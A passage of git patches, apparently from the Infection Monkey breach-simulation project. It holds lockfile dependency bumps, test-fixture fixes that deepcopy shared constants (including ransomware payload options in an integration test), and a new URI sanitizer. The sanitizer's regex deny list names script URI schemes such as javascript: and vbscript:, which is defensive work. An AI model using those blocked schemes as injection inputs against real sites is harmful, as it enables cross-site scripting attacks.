"sha256:0217a9615531c83aeedb12e126611b1b1a3175013bbafe57c702ce40000eb9a0", - "sha256:0fb497c6b088818e3395e302e426850f8236d8d9f4ef5b2836feae812a8f699c", - "sha256:17ebf6e0b1d07ed009738016abf0d0a0f80388e009d0ac6e0ead26fc162b3b9c", - "sha256:311196634bb9333aa06f00fc94f59d3a9fddd2305c2c425d86e406ddc6f2260d", - "sha256:3218ab1a7748327e08ef83cca63eea7cf20ea7e2ebcb2522072896e5e2fceedf", - "sha256:404d1e284eda9e233c90128697c71acffd55e183d70628aa0bbb0e7a3084ed8b", - "sha256:4087e253bd3bbbc3e615ecd0b6dd03c4e6a1e46d152d3be6d2ad08fbad742dcc", - "sha256:40f4065745e2c2fa0dff0e7ccd7c166a8ac9748974f960cd39f63d2c19f9231f", - "sha256:5334e2ef60d3d9439c08baedaf8b84dc9bb9522d0dacbc10572ef5609ef8db6d", - "sha256:604cdba8f1983d0ab78edc29aa71c8df0ada06fb147cea436dc37093a0100a4e", - "sha256:6373d7eb813a143cb7795d3e42bd8ed857c82a90571567e681e1b3841a390d16", - "sha256:655796a906fa3ca67273011c9805c1e1baa047781fca80feeb710328cdbed87f", - "sha256:65c3c06afee96c654e590e046c4a24559e65b0a87dbff256cd4bd6f77e1a33f9", - "sha256:696f3d5493eae7359887da55c2afa05acc3db5fc625c49529e84bd9992313296", - "sha256:6e972493cdfe4ad0411fd9abfab7d4d800a7317a93928217f1a5de2bb0f0d87a", - "sha256:7579960be23d1fddecb53898035a0d112ac858c3554018ce615cefc03024e46d", - "sha256:765d703096ca47aa5d93044bf701b00bbce4d903a95b41fff7c3796e747b1f1d", - "sha256:7e66f60b0067a10dd289b29dceabd3d0e6d68be1504fc9d0bc209cf07f56d189", - "sha256:8a2ffadefd0e7206adc86e492ccc60395f7edb5680adedf17a7ee4205c530df4", - "sha256:959697ef2757406bff71467a09d940ca364e724c534efbf3786e86eee8591452", - "sha256:9d783213fab61832dbb10d385a319cb0e45451088abd45f95b5bb88ed0acca1a", - "sha256:a16025df73d24795a0bde05504911d306307c24a64187752685ff6ea23897cb0", - "sha256:a2ad597c8c9e038a5912ac3cf166f82926feff2f6e0dabdab956768de0a258f5", - "sha256:bfee1f3ff62143819499e348f5b8a7f3aa0259f9aca5e0ddae7391d059dce671", - "sha256:d169ccd0756c15bbb2f1acc012f5aab279dffc334d733ca0d9362c5beaebe88e", - "sha256:d514c269d1f9f5cd05ddfed15298d6c418129f3f064765295659798349c43e6f", - "sha256:d692374b578360d36568dd05efb8a5a67ab6d1878c29c582e37ddba80e66c396", - "sha256:dbaeb9cf0ea0b3bc4b36fae54a016933d64c6d52a94810a63c00f440ecb37dd7", - "sha256:dc26c8d44472e035d59d6f1177eb712888447f5799743da9c398b0339ed90b1b", - "sha256:e1574980b48c8c74f83578d1e77e701f8439a5d93f36a5a0af31337467c08fcf", - "sha256:e74a578172525c20d7223eac5f8ad187f10940dac06e40113d62f14f3adb1e8f", - "sha256:e945de62917acbf853ab968d8916290548df18dd62c739d862f359ecd25842a6", - "sha256:f0980d44b8aded808bec5059018d64692f0127f10510eca71f2f0ace8fb11188", - "sha256:f98d4bd7bbb15ca701d19b93263cc5edfd480c3475d163f137385f49e5b3a3a7", - "sha256:fb68d212efd057596dee9e6582daded9f8ef776538afdf5feceb3059df2d2e7b" + "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", + "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", + "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", + "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", + "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", + "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", + "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", + "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", + "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", + "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", + "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", + "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", + "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", + "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", + "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", + "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", + "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", + "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", + "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", + "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", + "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", + "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", + "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", + "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", + "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", + "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", + "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", + "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", + "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", + "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==5.5.2" + "markers": "python_version >= '3.7'", + "version": "==6.0" } }, "develop": { @@ -1263,60 +1257,60 @@ }, "coverage": { "hashes": [ - "sha256:0339dc3237c0d31c3b574f19c57985fcbe494280153bbcad33f2cdf469f4ac3e", - "sha256:09643fb0df8e29f7417adc3f40aaf379d071ee8f0350ab290517c7004f05360b", - "sha256:0bd7e628f6c3ec4e7d2d24ec0e50aae4e5ae95ea644e849d92ae4805650b4c4e", - "sha256:0cf557827be7eca1c38a2480484d706693e7bb1929e129785fe59ec155a59de6", - "sha256:0f8318ed0f3c376cfad8d3520f496946977abde080439d6689d7799791457454", - "sha256:1b7fb13850ecb29b62a447ac3516c777b0e7a09ecb0f4bb6718a8654c87dfc80", - "sha256:22c308bc508372576ffa3d2dbc4824bb70d28eeb4fcd79d4d1aed663a06630d0", - "sha256:3004765bca3acd9e015794e5c2f0c9a05587f5e698127ff95e9cfba0d3f29339", - "sha256:3a209d512d157379cc9ab697cbdbb4cfd18daa3e7eebaa84c3d20b6af0037384", - "sha256:436313d129db7cf5b4ac355dd2bd3f7c7e5294af077b090b85de75f8458b8616", - "sha256:49567ec91fc5e0b15356da07a2feabb421d62f52a9fff4b1ec40e9e19772f5f8", - "sha256:4dd34a935de268a133e4741827ae951283a28c0125ddcdbcbba41c4b98f2dfef", - "sha256:570c21a29493b350f591a4b04c158ce1601e8d18bdcd21db136fbb135d75efa6", - "sha256:5928b85416a388dd557ddc006425b0c37e8468bd1c3dc118c1a3de42f59e2a54", - "sha256:5d2b9b5e70a21474c105a133ba227c61bc95f2ac3b66861143ce39a5ea4b3f84", - "sha256:617a94ada56bbfe547aa8d1b1a2b8299e2ec1ba14aac1d4b26a9f7d6158e1273", - "sha256:6a034480e9ebd4e83d1aa0453fd78986414b5d237aea89a8fdc35d330aa13bae", - "sha256:6fce673f79a0e017a4dc35e18dc7bb90bf6d307c67a11ad5e61ca8d42b87cbff", - "sha256:78d2c3dde4c0b9be4b02067185136b7ee4681978228ad5ec1278fa74f5ca3e99", - "sha256:7f099da6958ddfa2ed84bddea7515cb248583292e16bb9231d151cd528eab657", - "sha256:80559eaf6c15ce3da10edb7977a1548b393db36cbc6cf417633eca05d84dd1ed", - "sha256:834c2172edff5a08d78e2f53cf5e7164aacabeb66b369f76e7bb367ca4e2d993", - "sha256:861cc85dfbf55a7a768443d90a07e0ac5207704a9f97a8eb753292a7fcbdfcfc", - "sha256:8649371570551d2fd7dee22cfbf0b61f1747cdfb2b7587bb551e4beaaa44cb97", - "sha256:87dc37f16fb5e3a28429e094145bf7c1753e32bb50f662722e378c5851f7fdc6", - "sha256:8a6450da4c7afc4534305b2b7d8650131e130610cea448ff240b6ab73d7eab63", - "sha256:8d3843ca645f62c426c3d272902b9de90558e9886f15ddf5efe757b12dd376f5", - "sha256:8dca3c1706670297851bca1acff9618455122246bdae623be31eca744ade05ec", - "sha256:97a3189e019d27e914ecf5c5247ea9f13261d22c3bb0cfcfd2a9b179bb36f8b1", - "sha256:99f4dd81b2bb8fc67c3da68b1f5ee1650aca06faa585cbc6818dbf67893c6d58", - "sha256:9e872b082b32065ac2834149dc0adc2a2e6d8203080501e1e3c3c77851b466f9", - "sha256:a81dbcf6c6c877986083d00b834ac1e84b375220207a059ad45d12f6e518a4e3", - "sha256:abacd0a738e71b20e224861bc87e819ef46fedba2fb01bc1af83dfd122e9c319", - "sha256:ae82c988954722fa07ec5045c57b6d55bc1a0890defb57cf4a712ced65b26ddd", - "sha256:b0c0d46de5dd97f6c2d1b560bf0fcf0215658097b604f1840365296302a9d1fb", - "sha256:b1991a6d64231a3e5bbe3099fb0dd7c9aeaa4275ad0e0aeff4cb9ef885c62ba2", - "sha256:b2167d116309f564af56f9aa5e75ef710ef871c5f9b313a83050035097b56820", - "sha256:bd5a12239c0006252244f94863f1c518ac256160cd316ea5c47fb1a11b25889a", - "sha256:bdd3f2f285ddcf2e75174248b2406189261a79e7fedee2ceeadc76219b6faa0e", - "sha256:c77f2a9093ccf329dd523a9b2b3c854c20d2a3d968b6def3b820272ca6732242", - "sha256:cb5f152fb14857cbe7f3e8c9a5d98979c4c66319a33cad6e617f0067c9accdc4", - "sha256:cca7c0b7f5881dfe0291ef09ba7bb1582cb92ab0aeffd8afb00c700bf692415a", - "sha256:d2ef6cae70168815ed91388948b5f4fcc69681480a0061114db737f957719f03", - "sha256:d9256d4c60c4bbfec92721b51579c50f9e5062c21c12bec56b55292464873508", - "sha256:e191a63a05851f8bce77bc875e75457f9b01d42843f8bd7feed2fc26bbe60833", - "sha256:e2b50ebc2b6121edf352336d503357321b9d8738bb7a72d06fc56153fd3f4cd8", - "sha256:e3ea04b23b114572b98a88c85379e9e9ae031272ba1fb9b532aa934c621626d4", - "sha256:e4d70c853f0546855f027890b77854508bdb4d6a81242a9d804482e667fff6e6", - "sha256:f29351393eb05e6326f044a7b45ed8e38cb4dcc38570d12791f271399dc41431", - "sha256:f3d07edb912a978915576a776756069dede66d012baa503022d3a0adba1b6afa", - "sha256:fac6343bae03b176e9b58104a9810df3cdccd5cfed19f99adfa807ffbf43cf9b" + "sha256:006ed5582e9cbc8115d2e22d6d2144a0725db542f654d9d4fda86793832f873d", + "sha256:046936ab032a2810dcaafd39cc4ef6dd295df1a7cbead08fe996d4765fca9fe4", + "sha256:0484d9dd1e6f481b24070c87561c8d7151bdd8b044c93ac99faafd01f695c78e", + "sha256:0ce383d5f56d0729d2dd40e53fe3afeb8f2237244b0975e1427bfb2cf0d32bab", + "sha256:186e0fc9cf497365036d51d4d2ab76113fb74f729bd25da0975daab2e107fd90", + "sha256:2199988e0bc8325d941b209f4fd1c6fa007024b1442c5576f1a32ca2e48941e6", + "sha256:299bc75cb2a41e6741b5e470b8c9fb78d931edbd0cd009c58e5c84de57c06731", + "sha256:3668291b50b69a0c1ef9f462c7df2c235da3c4073f49543b01e7eb1dee7dd540", + "sha256:36dd42da34fe94ed98c39887b86db9d06777b1c8f860520e21126a75507024f2", + "sha256:38004671848b5745bb05d4d621526fca30cee164db42a1f185615f39dc997292", + "sha256:387fb46cb8e53ba7304d80aadca5dca84a2fbf6fe3faf6951d8cf2d46485d1e5", + "sha256:3eb55b7b26389dd4f8ae911ba9bc8c027411163839dea4c8b8be54c4ee9ae10b", + "sha256:420f94a35e3e00a2b43ad5740f935358e24478354ce41c99407cddd283be00d2", + "sha256:4ac0f522c3b6109c4b764ffec71bf04ebc0523e926ca7cbe6c5ac88f84faced0", + "sha256:4c752d5264053a7cf2fe81c9e14f8a4fb261370a7bb344c2a011836a96fb3f57", + "sha256:4f01911c010122f49a3e9bdc730eccc66f9b72bd410a3a9d3cb8448bb50d65d3", + "sha256:4f68ee32d7c4164f1e2c8797535a6d0a3733355f5861e0f667e37df2d4b07140", + "sha256:4fa54fb483decc45f94011898727802309a109d89446a3c76387d016057d2c84", + "sha256:507e4720791977934bba016101579b8c500fb21c5fa3cd4cf256477331ddd988", + "sha256:53d0fd4c17175aded9c633e319360d41a1f3c6e352ba94edcb0fa5167e2bad67", + "sha256:55272f33da9a5d7cccd3774aeca7a01e500a614eaea2a77091e9be000ecd401d", + "sha256:5764e1f7471cb8f64b8cda0554f3d4c4085ae4b417bfeab236799863703e5de2", + "sha256:57b77b9099f172804e695a40ebaa374f79e4fb8b92f3e167f66facbf92e8e7f5", + "sha256:5afdad4cc4cc199fdf3e18088812edcf8f4c5a3c8e6cb69127513ad4cb7471a9", + "sha256:5cc0783844c84af2522e3a99b9b761a979a3ef10fb87fc4048d1ee174e18a7d8", + "sha256:5e1df45c23d4230e3d56d04414f9057eba501f78db60d4eeecfcb940501b08fd", + "sha256:6146910231ece63facfc5984234ad1b06a36cecc9fd0c028e59ac7c9b18c38c6", + "sha256:797aad79e7b6182cb49c08cc5d2f7aa7b2128133b0926060d0a8889ac43843be", + "sha256:7c20b731211261dc9739bbe080c579a1835b0c2d9b274e5fcd903c3a7821cf88", + "sha256:817295f06eacdc8623dc4df7d8b49cea65925030d4e1e2a7c7218380c0072c25", + "sha256:81f63e0fb74effd5be736cfe07d710307cc0a3ccb8f4741f7f053c057615a137", + "sha256:872d6ce1f5be73f05bea4df498c140b9e7ee5418bfa2cc8204e7f9b817caa968", + "sha256:8c99cb7c26a3039a8a4ee3ca1efdde471e61b4837108847fb7d5be7789ed8fd9", + "sha256:8dbe2647bf58d2c5a6c5bcc685f23b5f371909a5624e9f5cd51436d6a9f6c6ef", + "sha256:8efb48fa743d1c1a65ee8787b5b552681610f06c40a40b7ef94a5b517d885c54", + "sha256:92ebc1619650409da324d001b3a36f14f63644c7f0a588e331f3b0f67491f512", + "sha256:9d22e94e6dc86de981b1b684b342bec5e331401599ce652900ec59db52940005", + "sha256:ba279aae162b20444881fc3ed4e4f934c1cf8620f3dab3b531480cf602c76b7f", + "sha256:bc4803779f0e4b06a2361f666e76f5c2e3715e8e379889d02251ec911befd149", + "sha256:bfe7085783cda55e53510482fa7b5efc761fad1abe4d653b32710eb548ebdd2d", + "sha256:c448b5c9e3df5448a362208b8d4b9ed85305528313fca1b479f14f9fe0d873b8", + "sha256:c90e73bdecb7b0d1cea65a08cb41e9d672ac6d7995603d6465ed4914b98b9ad7", + "sha256:d2b96123a453a2d7f3995ddb9f28d01fd112319a7a4d5ca99796a7ff43f02af5", + "sha256:d52f0a114b6a58305b11a5cdecd42b2e7f1ec77eb20e2b33969d702feafdd016", + "sha256:d530191aa9c66ab4f190be8ac8cc7cfd8f4f3217da379606f3dd4e3d83feba69", + "sha256:d683d230b5774816e7d784d7ed8444f2a40e7a450e5720d58af593cb0b94a212", + "sha256:db45eec1dfccdadb179b0f9ca616872c6f700d23945ecc8f21bb105d74b1c5fc", + "sha256:db8c2c5ace167fd25ab5dd732714c51d4633f58bac21fb0ff63b0349f62755a8", + "sha256:e2926b8abedf750c2ecf5035c07515770944acf02e1c46ab08f6348d24c5f94d", + "sha256:e627dee428a176ffb13697a2c4318d3f60b2ccdde3acdc9b3f304206ec130ccd", + "sha256:efe1c0adad110bf0ad7fb59f833880e489a61e39d699d37249bdf42f80590169" ], "index": "pypi", - "version": "==7.2.1" + "version": "==7.2.2" }, "distlib": { "hashes": [ @@ -1340,13 +1334,21 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==0.17.1" }, + "execnet": { + "hashes": [ + "sha256:8f694f3ba9cc92cab508b152dcfe322153975c29bda272e2fd7f3f00f36e47c5", + "sha256:a295f7cc774947aac58dde7fdc85f4aa00c42adf5d8f5468fc630c1acf30a142" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.9.0" + }, "filelock": { "hashes": [ - "sha256:7b319f24340b51f55a2bf7a12ac0755a9b03e718311dac567a0f4f7fabd2f5de", - "sha256:f58d535af89bb9ad5cd4df046f741f8553a418c01a7856bf0d173bbc9f6bd16d" + "sha256:75997740323c5f12e18f10b494bc11c03e42843129f980f17c04352cc7b09d40", + "sha256:eb8f0f2d37ed68223ea63e3bddf2fac99667e4362c88b3f762e434d160190d18" ], "markers": "python_version >= '3.7'", - "version": "==3.9.0" + "version": "==3.10.2" }, "flake8": { "hashes": [ @@ -1528,11 +1530,11 @@ }, "pathspec": { "hashes": [ - "sha256:3a66eb970cbac598f9e5ccb5b2cf58930cd8e3ed86d393d541eaf2d8b1705229", - "sha256:64d338d4e0914e91c1792321e6907b5a593f1ab1851de7fc269557a21b30ebbc" + "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687", + "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293" ], "markers": "python_version >= '3.7'", - "version": "==0.11.0" + "version": "==0.11.1" }, "platformdirs": { "hashes": [ @@ -1590,6 +1592,14 @@ "index": "pypi", "version": "==4.0.0" }, + "pytest-xdist": { + "hashes": [ + "sha256:1849bd98d8b242b948e472db7478e090bf3361912a8fed87992ed94085f54727", + "sha256:37290d161638a20b672401deef1cba812d110ac27e35d213f091d15b8beb40c9" + ], + "index": "pypi", + "version": "==3.2.1" + }, "requests": { "hashes": [ "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa", @@ -1614,11 +1624,11 @@ }, "setuptools": { "hashes": [ - "sha256:15136a251127da2d2e77ac7a1bc231eb504654f7e3346d93613a13f2e2787535", - "sha256:1c39d42bda4cb89f7fdcad52b6762e3c309ec8f8715b27c684176b7d71283242" + "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077", + "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2" ], "markers": "python_version >= '3.7'", - "version": "==67.5.1" + "version": "==67.6.0" }, "six": { "hashes": [ @@ -1685,11 +1695,11 @@ }, "sphinxcontrib-jquery": { "hashes": [ - "sha256:8fb65f6dba84bf7bcd1aea1f02ab3955ac34611d838bcc95d4983b805b234daa", - "sha256:ed47fa425c338ffebe3c37e1cdb56e30eb806116b85f01055b158c7057fdb995" + "sha256:1620739f04e36a2c779f1a131a2dfd49b2fd07351bf1968ced074365933abc7a", + "sha256:f936030d7d0147dd026a4f2b5a57343d233f1fc7b363f68b3d4f1cb0993878ae" ], "markers": "python_version >= '3.1'", - "version": "==2.0.0" + "version": "==4.1" }, "sphinxcontrib-jsmath": { "hashes": [ @@ -1765,11 +1775,11 @@ }, "urllib3": { "hashes": [ - "sha256:076907bf8fd355cde77728471316625a4d2f7e713c125f51953bb5b3eecf4f72", - "sha256:75edcdc2f7d85b137124a6c3c9fc3933cdeaa12ecb9a6a959f22797a0feca7e1" + "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305", + "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.26.14" + "version": "==1.26.15" }, "virtualenv": { "hashes": [ From 18483cb659a56df0fed6d62152173da0af908d13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 10:48:21 -0400 Subject: [PATCH 0678/1338] UT: Fix undesirable modification of RANSOMWARE_OPTIONS dict Don't modify `RANSOMWARE_OPTIONS`. This could cause other tests that depend on this constant to fail. --- .../payload/ransomware/test_integrated_ransomware.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py b/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py index 882b3318651..48a3eae707b 100644 --- a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py +++ b/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py @@ -1,4 +1,5 @@ import threading +from copy import deepcopy from unittest.mock import MagicMock import pytest @@ -10,7 +11,7 @@ @pytest.fixture def ransomware_options_dict(ransomware_file_extension): - options = RANSOMWARE_OPTIONS + options = deepcopy(RANSOMWARE_OPTIONS) options["encryption"]["file_extension"] = ransomware_file_extension return options From 60528c9a541299c7799d16dee99908d6921de5df Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 10:50:14 -0400 Subject: [PATCH 0679/1338] UT: Return a deepcopy from default_agent_configuration() fixture This prevents tests from modifying the constant. --- monkey/tests/unit_tests/conftest.py | 3 ++- .../cc/island_event_handlers/test_reset_agent_configuration.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index 9a9f7d167b6..0d74bff1c34 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -1,4 +1,5 @@ import sys +from copy import deepcopy from pathlib import Path import pytest @@ -63,4 +64,4 @@ def plugin_data_dir(data_for_tests_dir) -> Path: @pytest.fixture def default_agent_configuration() -> AgentConfiguration: - return DEFAULT_AGENT_CONFIGURATION + return deepcopy(DEFAULT_AGENT_CONFIGURATION) diff --git a/monkey/tests/unit_tests/monkey_island/cc/island_event_handlers/test_reset_agent_configuration.py b/monkey/tests/unit_tests/monkey_island/cc/island_event_handlers/test_reset_agent_configuration.py index b2dda0cbeed..aec115196c9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/island_event_handlers/test_reset_agent_configuration.py +++ b/monkey/tests/unit_tests/monkey_island/cc/island_event_handlers/test_reset_agent_configuration.py @@ -8,7 +8,7 @@ @pytest.fixture def agent_configuration(default_agent_configuration: AgentConfiguration) -> AgentConfiguration: - return default_agent_configuration.copy() + return default_agent_configuration @pytest.fixture From 6e063cbf2f836350078dffac8b8d7bd19aef558c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 10:50:51 -0400 Subject: [PATCH 0680/1338] UT: Use default config fixture in test_update_configuration_validated --- .../test_agent_configuration_validation_decorator.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py index 9dea07442f8..49f8b989853 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py @@ -1,7 +1,6 @@ import pytest from tests.monkey_island import InMemoryAgentConfigurationRepository, InMemoryAgentPluginRepository -from common.agent_configuration import DEFAULT_AGENT_CONFIGURATION from common.base_models import MutableInfectionMonkeyBaseModel from monkey_island.cc.repositories import IAgentPluginRepository, RetrievalError from monkey_island.cc.services import PluginConfigurationValidationError @@ -69,15 +68,16 @@ def test_get_configuration_raise_retrieval_error( def test_update_configuration_validated( + default_agent_configuration, in_memory_agent_configuration_repository, in_memory_agent_plugin_repository, agent_configuration_repository, ): - agent_configuration_repository.update_configuration(DEFAULT_AGENT_CONFIGURATION) + agent_configuration_repository.update_configuration(default_agent_configuration) expected_configuration = in_memory_agent_configuration_repository.get_configuration() - assert DEFAULT_AGENT_CONFIGURATION == expected_configuration + assert default_agent_configuration == expected_configuration def test_update_configuration_raise_plugin_configuration_validation_error( From 84e1cf3636f250301b9777e6e0b8071545447684 Mon Sep 17 00:00:00 2001 From: ordabach Date: Wed, 22 Mar 2023 14:57:50 +0000 Subject: [PATCH 0681/1338] UI: Added URI sanitization function --- .../src/components/ui-components/InfoPane.js | 10 ++++--- .../ui/src/utils/sanitizers/uriSanitizer.js | 27 +++++++++++++++++++ 2 files changed, 34 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 7702f8012bc..2786af59c2f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -3,6 +3,7 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; import WarningIcon from './WarningIcon'; +import {sanitizeURI} from '../../utils/sanitizers/uriSanitizer'; const WarningType = { NONE: 0, @@ -40,10 +41,13 @@ function getTitle(props) { function getLinkButton(props) { if (typeof (props.link) == 'string') { + const sanitizedLink = sanitizeURI(props.link); + return ( - ) + + ) } } diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js new file mode 100644 index 00000000000..71049a3780c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js @@ -0,0 +1,27 @@ +const REG_EXP_VALIDATORS = [ + {expression: /[()[\]{};`'"]/gmi, expectedTestResult: false}, + {expression: /^([^\w]*)(unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, + {expression: /^(?:\(?:\(?:ht)tps?\):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$)\)/gmi, expectedTestResult: true} +]; + +const GENERAL_UNSAFE_STRINGS = ['javascript:'] + +export const sanitizeURI = (uri) => { + const EMPTY_URI = ''; + + const validators = REG_EXP_VALIDATORS; + for(let i=0; i < validators.length; i++){ + const regTest = new RegExp(validators[i].expression); + if(regTest.test(uri) !== validators[i].expectedTestResult) { + return EMPTY_URI; + } + } + + for(let i=0; i Date: Wed, 22 Mar 2023 19:32:48 +0000 Subject: [PATCH 0682/1338] UI: Freeze regex objects of URI validation Added new unwanted chars and bad prefix --- .../cc/ui/src/utils/sanitizers/uriSanitizer.js | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js index 71049a3780c..4cb85fc2086 100644 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js @@ -1,10 +1,10 @@ -const REG_EXP_VALIDATORS = [ - {expression: /[()[\]{};`'"]/gmi, expectedTestResult: false}, - {expression: /^([^\w]*)(unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, - {expression: /^(?:\(?:\(?:ht)tps?\):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$)\)/gmi, expectedTestResult: true} -]; +const REG_EXP_VALIDATORS = Object.freeze([ + {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, + {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, + {expression: /^(?:(?:(?:f|ht)tps?):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} +]); -const GENERAL_UNSAFE_STRINGS = ['javascript:'] +const GENERAL_UNSAFE_STRINGS = Object.freeze(['javascript:']); export const sanitizeURI = (uri) => { const EMPTY_URI = ''; @@ -17,7 +17,7 @@ export const sanitizeURI = (uri) => { } } - for(let i=0; i Date: Thu, 23 Mar 2023 06:38:07 +0000 Subject: [PATCH 0683/1338] UI: Removed the ftps option from the URI sanitizer --- monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js index 4cb85fc2086..10474891910 100644 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js @@ 